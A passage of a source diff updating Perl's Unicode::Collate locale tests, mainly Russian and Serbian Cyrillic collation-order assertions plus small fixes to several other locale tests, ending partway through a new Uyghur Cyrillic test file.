- ok($objRu->eq("\x{4F9}", "\x{44B}$i\x{308}"));
- ok($objRu->eq("\x{4F8}", "\x{42B}$i\x{308}"));
- ok($objRu->eq("\x{4ED}", "\x{44D}$i\x{308}"));
- ok($objRu->eq("\x{4EC}", "\x{42D}$i\x{308}"));
- ok($objRu->eq("\x{477}", "\x{475}$i\x{30F}"));
- ok($objRu->eq("\x{476}", "\x{474}$i\x{30F}"));
-}
-
-# 202
+ok($objRu->lt("\x{430}", "\x{410}"));
+ok($objRu->lt("\x{431}", "\x{411}"));
+ok($objRu->lt("\x{432}", "\x{412}"));
+ok($objRu->lt("\x{433}", "\x{413}"));
+ok($objRu->lt("\x{434}", "\x{414}"));
+ok($objRu->lt("\x{435}", "\x{415}"));
+ok($objRu->lt("\x{451}", "\x{401}"));
+ok($objRu->lt("\x{436}", "\x{416}"));
+ok($objRu->lt("\x{437}", "\x{417}"));
+ok($objRu->lt("\x{438}", "\x{418}"));
+ok($objRu->lt("\x{439}", "\x{419}"));
+ok($objRu->lt("\x{43a}", "\x{41a}"));
+ok($objRu->lt("\x{43b}", "\x{41b}"));
+ok($objRu->lt("\x{43c}", "\x{41c}"));
+ok($objRu->lt("\x{43d}", "\x{41d}"));
+ok($objRu->lt("\x{43e}", "\x{41e}"));
+ok($objRu->lt("\x{43f}", "\x{41f}"));
+ok($objRu->lt("\x{440}", "\x{420}"));
+ok($objRu->lt("\x{441}", "\x{421}"));
+ok($objRu->lt("\x{442}", "\x{422}"));
+ok($objRu->lt("\x{443}", "\x{423}"));
+ok($objRu->lt("\x{444}", "\x{424}"));
+ok($objRu->lt("\x{445}", "\x{425}"));
+ok($objRu->lt("\x{446}", "\x{426}"));
+ok($objRu->lt("\x{447}", "\x{427}"));
+ok($objRu->lt("\x{448}", "\x{428}"));
+ok($objRu->lt("\x{449}", "\x{429}"));
+ok($objRu->lt("\x{44a}", "\x{42a}"));
+ok($objRu->lt("\x{44b}", "\x{42b}"));
+ok($objRu->lt("\x{44c}", "\x{42c}"));
+ok($objRu->lt("\x{44d}", "\x{42d}"));
+ok($objRu->lt("\x{44e}", "\x{42e}"));
+ok($objRu->lt("\x{44f}", "\x{42f}"));
+
+# 134
+
+ok($objRu->eq("\x{451}", "\x{435}\x{308}"));
+ok($objRu->eq("\x{401}", "\x{415}\x{308}"));
+ok($objRu->eq("\x{439}", "\x{438}\x{306}"));
+ok($objRu->eq("\x{419}", "\x{418}\x{306}"));
+
+# 138
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sa.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sa.t
index 0420f58a578..a03d32e4fc4 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sa.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sa.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..23\n"; }
+BEGIN { $| = 1; print "1..25\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -56,11 +56,11 @@ ok($objSa->eq("\x{933}", "\x{934}"));
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objSa->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objSa->lt("\x{950}$t", "\x{902}"));
ok($objSa->lt("\x{902}$t", "\x{903}"));
+ ok($objSa->lt("\x{903}$t", "\x{A8FD}"));
ok($objSa->lt("\x{903}$t", "\x{972}"));
ok($objSa->lt("\x{938}$t", "\x{939}"));
@@ -70,4 +70,4 @@ for my $h (0, 1) {
ok($objSa->lt("\x{91C}\x{94D}\x{91E}$t", "\x{93D}"));
}
-# 23
+# 25
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_se.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_se.t
index 0908e809024..1b671fd95a9 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_se.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_se.t
@@ -257,14 +257,14 @@ ok($objSe->eq("A\x{308}\x{304}", "\x{1DE}"));
ok($objSe->eq("o\x{308}\x{304}", "\x{22B}"));
ok($objSe->eq("O\x{308}\x{304}", "\x{22A}"));
-ok($objSe->eq("o\x{303}\x{301}","\x{1E4D}"));
-ok($objSe->eq("O\x{303}\x{301}","\x{1E4C}"));
+ok($objSe->eq("o\x{303}\x{301}", "\x{1E4D}"));
+ok($objSe->eq("O\x{303}\x{301}", "\x{1E4C}"));
ok($objSe->eq("o\x{303}\x{304}", "\x{22D}"));
ok($objSe->eq("O\x{303}\x{304}", "\x{22C}"));
-ok($objSe->eq("o\x{303}\x{308}","\x{1E4F}"));
-ok($objSe->eq("O\x{303}\x{308}","\x{1E4E}"));
-ok($objSe->eq("o\x{303}\x{31B}","\x{1EE1}"));
-ok($objSe->eq("O\x{303}\x{31B}","\x{1EE0}"));
+ok($objSe->eq("o\x{303}\x{308}", "\x{1E4F}"));
+ok($objSe->eq("O\x{303}\x{308}", "\x{1E4E}"));
+ok($objSe->eq("o\x{303}\x{31B}", "\x{1EE1}"));
+ok($objSe->eq("O\x{303}\x{31B}", "\x{1EE0}"));
ok($objSe->eq("o\x{302}\x{300}", "\x{1ED3}"));
ok($objSe->eq("O\x{302}\x{300}", "\x{1ED2}"));
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_si.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_si.t
index fab3882e5a7..d6c6c69550a 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_si.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_si.t
@@ -42,8 +42,7 @@ $objSi->change(level => 1);
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objSi->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objSi->lt("\x{D95}$t", "\x{D96}"));
ok($objSi->lt("\x{D96}$t", "\x{D82}"));
@@ -55,3 +54,4 @@ for my $h (0, 1) {
ok($objSi->lt("\x{DA4}$t", "\x{DA6}"));
}
+# 16
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sidt.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sidt.t
index 5bd122a447f..bbdb4e0aff1 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sidt.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sidt.t
@@ -53,8 +53,7 @@ ok($objSiDict->lt("\x{DA5}", "\x{DA3}"));
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objSiDict->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objSiDict->lt("\x{D95}$t", "\x{D96}"));
ok($objSiDict->lt("\x{D96}$t", "\x{D82}"));
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sr.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sr.t
index 8eea66a8afe..b6a89c59eca 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sr.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sr.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..210\n"; }
+BEGIN { $| = 1; print "1..128\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -40,173 +40,151 @@ ok($objSr->getlocale, 'sr');
$objSr->change(level => 1);
-ok($objSr->eq("\x{4D1}", "\x{430}"));
-ok($objSr->eq("\x{4D0}", "\x{410}"));
-ok($objSr->eq("\x{4D3}", "\x{430}"));
-ok($objSr->eq("\x{4D2}", "\x{410}"));
-ok($objSr->eq("\x{4DB}", "\x{4D9}"));
-ok($objSr->eq("\x{4DA}", "\x{4D8}"));
-ok($objSr->eq("\x{453}", "\x{433}"));
-ok($objSr->eq("\x{403}", "\x{413}"));
-ok($objSr->eq("\x{450}", "\x{435}")); # not contraction
-ok($objSr->eq("\x{400}", "\x{415}")); # not contraction
-ok($objSr->eq("\x{451}", "\x{435}")); # not contraction
-ok($objSr->eq("\x{401}", "\x{415}")); # not contraction
-ok($objSr->eq("\x{4D7}", "\x{435}"));
-ok($objSr->eq("\x{4D6}", "\x{415}"));
-ok($objSr->eq("\x{4C2}", "\x{436}")); # not contraction
-ok($objSr->eq("\x{4C1}", "\x{416}")); # not contraction
-ok($objSr->eq("\x{4DD}", "\x{436}"));
-ok($objSr->eq("\x{4DC}", "\x{416}"));
-ok($objSr->eq("\x{4DF}", "\x{437}"));
-ok($objSr->eq("\x{4DE}", "\x{417}"));
-ok($objSr->eq("\x{45D}", "\x{438}")); # not contraction
-ok($objSr->eq("\x{40D}", "\x{418}")); # not contraction
-ok($objSr->eq("\x{4E3}", "\x{438}")); # not contraction
-ok($objSr->eq("\x{4E2}", "\x{418}")); # not contraction
-ok($objSr->eq("\x{4E5}", "\x{438}"));
-ok($objSr->eq("\x{4E4}", "\x{418}"));
-ok($objSr->eq("\x{457}", "\x{456}"));
-ok($objSr->eq("\x{407}", "\x{406}"));
-ok($objSr->eq("\x{439}", "\x{438}"));
-ok($objSr->eq("\x{419}", "\x{418}"));
-ok($objSr->eq("\x{4E7}", "\x{43E}"));
-ok($objSr->eq("\x{4E6}", "\x{41E}"));
-ok($objSr->eq("\x{4EB}", "\x{4E9}"));
-ok($objSr->eq("\x{4EA}", "\x{4E8}"));
-ok($objSr->eq("\x{45C}", "\x{43A}"));
-ok($objSr->eq("\x{40C}", "\x{41A}"));
-ok($objSr->eq("\x{4EF}", "\x{443}")); # not contraction
-ok($objSr->eq("\x{4EE}", "\x{423}")); # not contraction
-ok($objSr->eq("\x{45E}", "\x{443}"));
-ok($objSr->eq("\x{40E}", "\x{423}"));
-ok($objSr->eq("\x{4F1}", "\x{443}"));
-ok($objSr->eq("\x{4F0}", "\x{423}"));
-ok($objSr->eq("\x{4F3}", "\x{443}"));
-ok($objSr->eq("\x{4F2}", "\x{423}"));
-ok($objSr->eq("\x{4F5}", "\x{447}"));
-ok($objSr->eq("\x{4F4}", "\x{427}"));
-ok($objSr->eq("\x{4F9}", "\x{44B}"));
-ok($objSr->eq("\x{4F8}", "\x{42B}"));
-ok($objSr->eq("\x{4ED}", "\x{44D}"));
-ok($objSr->eq("\x{4EC}", "\x{42D}"));
-ok($objSr->eq("\x{477}", "\x{475}"));
-ok($objSr->eq("\x{476}", "\x{474}"));
-
-# 54
+ok($objSr->lt("\x{430}z", "\x{431}"));
+ok($objSr->lt("\x{431}z", "\x{432}"));
+ok($objSr->lt("\x{432}z", "\x{433}"));
+ok($objSr->lt("\x{433}z", "\x{434}"));
+ok($objSr->lt("\x{434}z", "\x{452}"));
+ok($objSr->lt("\x{452}z", "\x{435}"));
+ok($objSr->lt("\x{435}z", "\x{436}"));
+ok($objSr->lt("\x{436}z", "\x{437}"));
+ok($objSr->lt("\x{437}z", "\x{438}"));
+ok($objSr->lt("\x{438}z", "\x{458}"));
+ok($objSr->lt("\x{458}z", "\x{43a}"));
+ok($objSr->lt("\x{43a}z", "\x{43b}"));
+ok($objSr->lt("\x{43b}z", "\x{459}"));
+ok($objSr->lt("\x{459}z", "\x{43c}"));
+ok($objSr->lt("\x{43c}z", "\x{43d}"));
+ok($objSr->lt("\x{43d}z", "\x{45a}"));
+ok($objSr->lt("\x{45a}z", "\x{43e}"));
+ok($objSr->lt("\x{43e}z", "\x{43f}"));
+ok($objSr->lt("\x{43f}z", "\x{440}"));
+ok($objSr->lt("\x{440}z", "\x{441}"));
+ok($objSr->lt("\x{441}z", "\x{442}"));
+ok($objSr->lt("\x{442}z", "\x{45b}"));
+ok($objSr->lt("\x{45b}z", "\x{443}"));
+ok($objSr->lt("\x{443}z", "\x{444}"));
+ok($objSr->lt("\x{444}z", "\x{445}"));
+ok($objSr->lt("\x{445}z", "\x{446}"));
+ok($objSr->lt("\x{446}z", "\x{447}"));
+ok($objSr->lt("\x{447}z", "\x{45f}"));
+ok($objSr->lt("\x{45f}z", "\x{448}"));
+
+ok($objSr->lt("\x{410}z", "\x{411}"));
+ok($objSr->lt("\x{411}z", "\x{412}"));
+ok($objSr->lt("\x{412}z", "\x{413}"));
+ok($objSr->lt("\x{413}z", "\x{414}"));
+ok($objSr->lt("\x{414}z", "\x{402}"));
+ok($objSr->lt("\x{402}z", "\x{415}"));
+ok($objSr->lt("\x{415}z", "\x{416}"));
+ok($objSr->lt("\x{416}z", "\x{417}"));
+ok($objSr->lt("\x{417}z", "\x{418}"));
+ok($objSr->lt("\x{418}z", "\x{408}"));
+ok($objSr->lt("\x{408}z", "\x{41a}"));
+ok($objSr->lt("\x{41a}z", "\x{41b}"));
+ok($objSr->lt("\x{41b}z", "\x{409}"));
+ok($objSr->lt("\x{409}z", "\x{41c}"));
+ok($objSr->lt("\x{41c}z", "\x{41d}"));
+ok($objSr->lt("\x{41d}z", "\x{40a}"));
+ok($objSr->lt("\x{40a}z", "\x{41e}"));
+ok($objSr->lt("\x{41e}z", "\x{41f}"));
+ok($objSr->lt("\x{41f}z", "\x{420}"));
+ok($objSr->lt("\x{420}z", "\x{421}"));
+ok($objSr->lt("\x{421}z", "\x{422}"));
+ok($objSr->lt("\x{422}z", "\x{40b}"));
+ok($objSr->lt("\x{40b}z", "\x{423}"));
+ok($objSr->lt("\x{423}z", "\x{424}"));
+ok($objSr->lt("\x{424}z", "\x{425}"));
+ok($objSr->lt("\x{425}z", "\x{426}"));
+ok($objSr->lt("\x{426}z", "\x{427}"));
+ok($objSr->lt("\x{427}z", "\x{40f}"));
+ok($objSr->lt("\x{40f}z", "\x{428}"));
+
+# 60
+
+ok($objSr->eq("\x{438}", "\x{439}"));
+ok($objSr->eq("\x{418}", "\x{419}"));
+
+# 62
$objSr->change(level => 2);
-ok($objSr->gt("\x{4D1}", "\x{430}"));
-ok($objSr->gt("\x{4D0}", "\x{410}"));
-ok($objSr->gt("\x{4D3}", "\x{430}"));
-ok($objSr->gt("\x{4D2}", "\x{410}"));
-ok($objSr->gt("\x{4DB}", "\x{4D9}"));
-ok($objSr->gt("\x{4DA}", "\x{4D8}"));
-ok($objSr->gt("\x{453}", "\x{433}"));
-ok($objSr->gt("\x{403}", "\x{413}"));
-ok($objSr->gt("\x{450}", "\x{435}")); # not contraction
-ok($objSr->gt("\x{400}", "\x{415}")); # not contraction
-ok($objSr->gt("\x{451}", "\x{435}")); # not contraction
-ok($objSr->gt("\x{401}", "\x{415}")); # not contraction
-ok($objSr->gt("\x{4D7}", "\x{435}"));
-ok($objSr->gt("\x{4D6}", "\x{415}"));
-ok($objSr->gt("\x{4C2}", "\x{436}")); # not contraction
-ok($objSr->gt("\x{4C1}", "\x{416}")); # not contraction
-ok($objSr->gt("\x{4DD}", "\x{436}"));
-ok($objSr->gt("\x{4DC}", "\x{416}"));
-ok($objSr->gt("\x{4DF}", "\x{437}"));
-ok($objSr->gt("\x{4DE}", "\x{417}"));
-ok($objSr->gt("\x{45D}", "\x{438}")); # not contraction
-ok($objSr->gt("\x{40D}", "\x{418}")); # not contraction
-ok($objSr->gt("\x{4E3}", "\x{438}")); # not contraction
-ok($objSr->gt("\x{4E2}", "\x{418}")); # not contraction
-ok($objSr->gt("\x{4E5}", "\x{438}"));
-ok($objSr->gt("\x{4E4}", "\x{418}"));
-ok($objSr->gt("\x{457}", "\x{456}"));
-ok($objSr->gt("\x{407}", "\x{406}"));
-ok($objSr->gt("\x{439}", "\x{438}"));
-ok($objSr->gt("\x{419}", "\x{418}"));
-ok($objSr->gt("\x{4E7}", "\x{43E}"));
-ok($objSr->gt("\x{4E6}", "\x{41E}"));
-ok($objSr->gt("\x{4EB}", "\x{4E9}"));
-ok($objSr->gt("\x{4EA}", "\x{4E8}"));
-ok($objSr->gt("\x{45C}", "\x{43A}"));
-ok($objSr->gt("\x{40C}", "\x{41A}"));
-ok($objSr->gt("\x{4EF}", "\x{443}")); # not contraction
-ok($objSr->gt("\x{4EE}", "\x{423}")); # not contraction
-ok($objSr->gt("\x{45E}", "\x{443}"));
-ok($objSr->gt("\x{40E}", "\x{423}"));
-ok($objSr->gt("\x{4F1}", "\x{443}"));
-ok($objSr->gt("\x{4F0}", "\x{423}"));
-ok($objSr->gt("\x{4F3}", "\x{443}"));
-ok($objSr->gt("\x{4F2}", "\x{423}"));
-ok($objSr->gt("\x{4F5}", "\x{447}"));
-ok($objSr->gt("\x{4F4}", "\x{427}"));
-ok($objSr->gt("\x{4F9}", "\x{44B}"));
-ok($objSr->gt("\x{4F8}", "\x{42B}"));
-ok($objSr->gt("\x{4ED}", "\x{44D}"));
-ok($objSr->gt("\x{4EC}", "\x{42D}"));
-ok($objSr->gt("\x{477}", "\x{475}"));
-ok($objSr->gt("\x{476}", "\x{474}"));
-
-# 106
+ok($objSr->lt("\x{438}", "\x{439}"));
+ok($objSr->lt("\x{418}", "\x{419}"));
+
+# 64
+
+ok($objSr->eq("\x{430}", "\x{410}"));
+ok($objSr->eq("\x{431}", "\x{411}"));
+ok($objSr->eq("\x{432}", "\x{412}"));
+ok($objSr->eq("\x{433}", "\x{413}"));
+ok($objSr->eq("\x{434}", "\x{414}"));
+ok($objSr->eq("\x{452}", "\x{402}"));
+ok($objSr->eq("\x{435}", "\x{415}"));
+ok($objSr->eq("\x{436}", "\x{416}"));
+ok($objSr->eq("\x{437}", "\x{417}"));
+ok($objSr->eq("\x{438}", "\x{418}"));
+ok($objSr->eq("\x{439}", "\x{419}"));
+ok($objSr->eq("\x{458}", "\x{408}"));
+ok($objSr->eq("\x{43a}", "\x{41a}"));
+ok($objSr->eq("\x{43b}", "\x{41b}"));
+ok($objSr->eq("\x{459}", "\x{409}"));
+ok($objSr->eq("\x{43c}", "\x{41c}"));
+ok($objSr->eq("\x{43d}", "\x{41d}"));
+ok($objSr->eq("\x{45a}", "\x{40a}"));
+ok($objSr->eq("\x{43e}", "\x{41e}"));
+ok($objSr->eq("\x{43f}", "\x{41f}"));
+ok($objSr->eq("\x{440}", "\x{420}"));
+ok($objSr->eq("\x{441}", "\x{421}"));
+ok($objSr->eq("\x{442}", "\x{422}"));
+ok($objSr->eq("\x{45b}", "\x{40b}"));
+ok($objSr->eq("\x{443}", "\x{423}"));
+ok($objSr->eq("\x{444}", "\x{424}"));
+ok($objSr->eq("\x{445}", "\x{425}"));
+ok($objSr->eq("\x{446}", "\x{426}"));
+ok($objSr->eq("\x{447}", "\x{427}"));
+ok($objSr->eq("\x{45f}", "\x{40f}"));
+ok($objSr->eq("\x{448}", "\x{428}"));
+
+# 95
$objSr->change(level => 3);
-for my $i ("", "\0") {
- ok($objSr->eq("\x{4D1}", "\x{430}$i\x{306}"));
- ok($objSr->eq("\x{4D0}", "\x{410}$i\x{306}"));
- ok($objSr->eq("\x{4D3}", "\x{430}$i\x{308}"));
- ok($objSr->eq("\x{4D2}", "\x{410}$i\x{308}"));
- ok($objSr->eq("\x{4DB}", "\x{4D9}$i\x{308}"));
- ok($objSr->eq("\x{4DA}", "\x{4D8}$i\x{308}"));
- ok($objSr->eq("\x{453}", "\x{433}$i\x{301}"));
- ok($objSr->eq("\x{403}", "\x{413}$i\x{301}"));
- ok($objSr->eq("\x{450}", "\x{435}$i\x{300}")); # not contraction
- ok($objSr->eq("\x{400}", "\x{415}$i\x{300}")); # not contraction
- ok($objSr->eq("\x{451}", "\x{435}$i\x{308}")); # not contraction
- ok($objSr->eq("\x{401}", "\x{415}$i\x{308}")); # not contraction
- ok($objSr->eq("\x{4D7}", "\x{435}$i\x{306}"));
- ok($objSr->eq("\x{4D6}", "\x{415}$i\x{306}"));
- ok($objSr->eq("\x{4C2}", "\x{436}$i\x{306}")); # not contraction
- ok($objSr->eq("\x{4C1}", "\x{416}$i\x{306}")); # not contraction
- ok($objSr->eq("\x{4DD}", "\x{436}$i\x{308}"));
- ok($objSr->eq("\x{4DC}", "\x{416}$i\x{308}"));
- ok($objSr->eq("\x{4DF}", "\x{437}$i\x{308}"));
- ok($objSr->eq("\x{4DE}", "\x{417}$i\x{308}"));
- ok($objSr->eq("\x{45D}", "\x{438}$i\x{300}")); # not contraction
- ok($objSr->eq("\x{40D}", "\x{418}$i\x{300}")); # not contraction
- ok($objSr->eq("\x{4E3}", "\x{438}$i\x{304}")); # not contraction
- ok($objSr->eq("\x{4E2}", "\x{418}$i\x{304}")); # not contraction
- ok($objSr->eq("\x{4E5}", "\x{438}$i\x{308}"));
- ok($objSr->eq("\x{4E4}", "\x{418}$i\x{308}"));
- ok($objSr->eq("\x{457}", "\x{456}$i\x{308}"));
- ok($objSr->eq("\x{407}", "\x{406}$i\x{308}"));
- ok($objSr->eq("\x{439}", "\x{438}$i\x{306}"));
- ok($objSr->eq("\x{419}", "\x{418}$i\x{306}"));
- ok($objSr->eq("\x{4E7}", "\x{43E}$i\x{308}"));
- ok($objSr->eq("\x{4E6}", "\x{41E}$i\x{308}"));
- ok($objSr->eq("\x{4EB}", "\x{4E9}$i\x{308}"));
- ok($objSr->eq("\x{4EA}", "\x{4E8}$i\x{308}"));
- ok($objSr->eq("\x{45C}", "\x{43A}$i\x{301}"));
- ok($objSr->eq("\x{40C}", "\x{41A}$i\x{301}"));
- ok($objSr->eq("\x{4EF}", "\x{443}$i\x{304}")); # not contraction
- ok($objSr->eq("\x{4EE}", "\x{423}$i\x{304}")); # not contraction
- ok($objSr->eq("\x{45E}", "\x{443}$i\x{306}"));
- ok($objSr->eq("\x{40E}", "\x{423}$i\x{306}"));
- ok($objSr->eq("\x{4F1}", "\x{443}$i\x{308}"));
- ok($objSr->eq("\x{4F0}", "\x{423}$i\x{308}"));
- ok($objSr->eq("\x{4F3}", "\x{443}$i\x{30B}"));
- ok($objSr->eq("\x{4F2}", "\x{423}$i\x{30B}"));
- ok($objSr->eq("\x{4F5}", "\x{447}$i\x{308}"));
- ok($objSr->eq("\x{4F4}", "\x{427}$i\x{308}"));
- ok($objSr->eq("\x{4F9}", "\x{44B}$i\x{308}"));
- ok($objSr->eq("\x{4F8}", "\x{42B}$i\x{308}"));
- ok($objSr->eq("\x{4ED}", "\x{44D}$i\x{308}"));
- ok($objSr->eq("\x{4EC}", "\x{42D}$i\x{308}"));
- ok($objSr->eq("\x{477}", "\x{475}$i\x{30F}"));
- ok($objSr->eq("\x{476}", "\x{474}$i\x{30F}"));
-}
-
-# 210
+ok($objSr->lt("\x{430}", "\x{410}"));
+ok($objSr->lt("\x{431}", "\x{411}"));
+ok($objSr->lt("\x{432}", "\x{412}"));
+ok($objSr->lt("\x{433}", "\x{413}"));
+ok($objSr->lt("\x{434}", "\x{414}"));
+ok($objSr->lt("\x{452}", "\x{402}"));
+ok($objSr->lt("\x{435}", "\x{415}"));
+ok($objSr->lt("\x{436}", "\x{416}"));
+ok($objSr->lt("\x{437}", "\x{417}"));
+ok($objSr->lt("\x{438}", "\x{418}"));
+ok($objSr->lt("\x{439}", "\x{419}"));
+ok($objSr->lt("\x{458}", "\x{408}"));
+ok($objSr->lt("\x{43a}", "\x{41a}"));
+ok($objSr->lt("\x{43b}", "\x{41b}"));
+ok($objSr->lt("\x{459}", "\x{409}"));
+ok($objSr->lt("\x{43c}", "\x{41c}"));
+ok($objSr->lt("\x{43d}", "\x{41d}"));
+ok($objSr->lt("\x{45a}", "\x{40a}"));
+ok($objSr->lt("\x{43e}", "\x{41e}"));
+ok($objSr->lt("\x{43f}", "\x{41f}"));
+ok($objSr->lt("\x{440}", "\x{420}"));
+ok($objSr->lt("\x{441}", "\x{421}"));
+ok($objSr->lt("\x{442}", "\x{422}"));
+ok($objSr->lt("\x{45b}", "\x{40b}"));
+ok($objSr->lt("\x{443}", "\x{423}"));
+ok($objSr->lt("\x{444}", "\x{424}"));
+ok($objSr->lt("\x{445}", "\x{425}"));
+ok($objSr->lt("\x{446}", "\x{426}"));
+ok($objSr->lt("\x{447}", "\x{427}"));
+ok($objSr->lt("\x{45f}", "\x{40f}"));
+ok($objSr->lt("\x{448}", "\x{428}"));
+
+# 126
+
+ok($objSr->eq("\x{439}", "\x{438}\x{306}"));
+ok($objSr->eq("\x{419}", "\x{418}\x{306}"));
+
+# 128
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sw.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sw.t
index 8ede629f081..8689e835f86 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sw.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_sw.t
@@ -36,7 +36,7 @@ ok(1);
my $objSw = Unicode::Collate::Locale->
new(locale => 'SW', normalization => undef);
-ok($objSw->getlocale, "default"); # no tailoring since 0.74
+ok($objSw->getlocale, 'default'); # no tailoring since 0.74
$objSw->change(level => 1);
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_te.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_te.t
index 44a66db8817..677a29bef54 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_te.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_te.t
@@ -42,8 +42,7 @@ $objTe->change(level => 1);
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objTe->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objTe->lt("\x{C13}$t", "\x{C14}"));
ok($objTe->lt("\x{C14}$t", "\x{C01}"));
@@ -51,3 +50,5 @@ for my $h (0, 1) {
ok($objTe->lt("\x{C02}$t", "\x{C03}"));
ok($objTe->lt("\x{C03}$t", "\x{C15}"));
}
+
+# 12
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_test.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_test.t
index 30c912003d6..6d70ba477fd 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_test.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_test.t
@@ -103,8 +103,8 @@ my $objEsT = Unicode::Collate::Locale->new
ok($objEsT->getlocale, 'es__traditional');
my $objFr = Unicode::Collate::Locale->new
- (normalization => undef, locale => 'FR');
-ok($objFr->getlocale, 'fr');
+ (normalization => undef, locale => 'FR_CA');
+ok($objFr->getlocale, 'fr_CA');
# 16
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ugcy.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ugcy.t
new file mode 100644
index 00000000000..457c8a59085
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ugcy.t
@@ -0,0 +1,194 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+ exit 0;
+ }
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..138\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate::Locale;
+
+ok(1);
+
+#########################
+
+my $objUgCyrl = Unicode::Collate::Locale->
+ new(locale => 'UG-CYRL', normalization => undef);
+
+ok($objUgCyrl->getlocale, 'ug_Cyrl');
+
+$objUgCyrl->change(level => 1);
+
+ok($objUgCyrl->lt("\x{430}z", "\x{431}"));
+ok($objUgCyrl->lt("\x{431}z", "\x{432}"));
+ok($objUgCyrl->lt("\x{432}z", "\x{433}"));
+ok($objUgCyrl->lt("\x{433}z", "\x{493}"));
+ok($objUgCyrl->lt("\x{493}z", "\x{434}"));
+ok($objUgCyrl->lt("\x{434}z", "\x{435}"));
+ok($objUgCyrl->lt("\x{435}z", "\x{4d9}"));
+ok($objUgCyrl->lt("\x{4d9}z", "\x{436}"));
+ok($objUgCyrl->lt("\x{436}z", "\x{497}"));
+ok($objUgCyrl->lt("\x{497}z", "\x{437}"));
+ok($objUgCyrl->lt("\x{437}z", "\x{438}"));
+ok($objUgCyrl->lt("\x{438}z", "\x{439}"));
+ok($objUgCyrl->lt("\x{439}z", "\x{43a}"));
+ok($objUgCyrl->lt("\x{43a}z", "\x{49b}"));
+ok($objUgCyrl->lt("\x{49b}z", "\x{43b}"));
+ok($objUgCyrl->lt("\x{43b}z", "\x{43c}"));
+ok($objUgCyrl->lt("\x{43c}z", "\x{43d}"));
+ok($objUgCyrl->lt("\x{43d}z", "\x{4a3}"));
+ok($objUgCyrl->lt("\x{4a3}z", "\x{43e}"));
+ok($objUgCyrl->lt("\x{43e}z", "\x{4e9}"));
+ok($objUgCyrl->lt("\x{4e9}z", "\x{43f}"));
+ok($objUgCyrl->lt("\x{43f}z", "\x{440}"));
+ok($objUgCyrl->lt("\x{440}z", "\x{441}"));
+ok($objUgCyrl->lt("\x{441}z", "\x{442}"));
+ok($objUgCyrl->lt("\x{442}z", "\x{443}"));
+ok($objUgCyrl->lt("\x{443}z", "\x{4af}"));
+ok($objUgCyrl->lt("\x{4af}z", "\x{444}"));
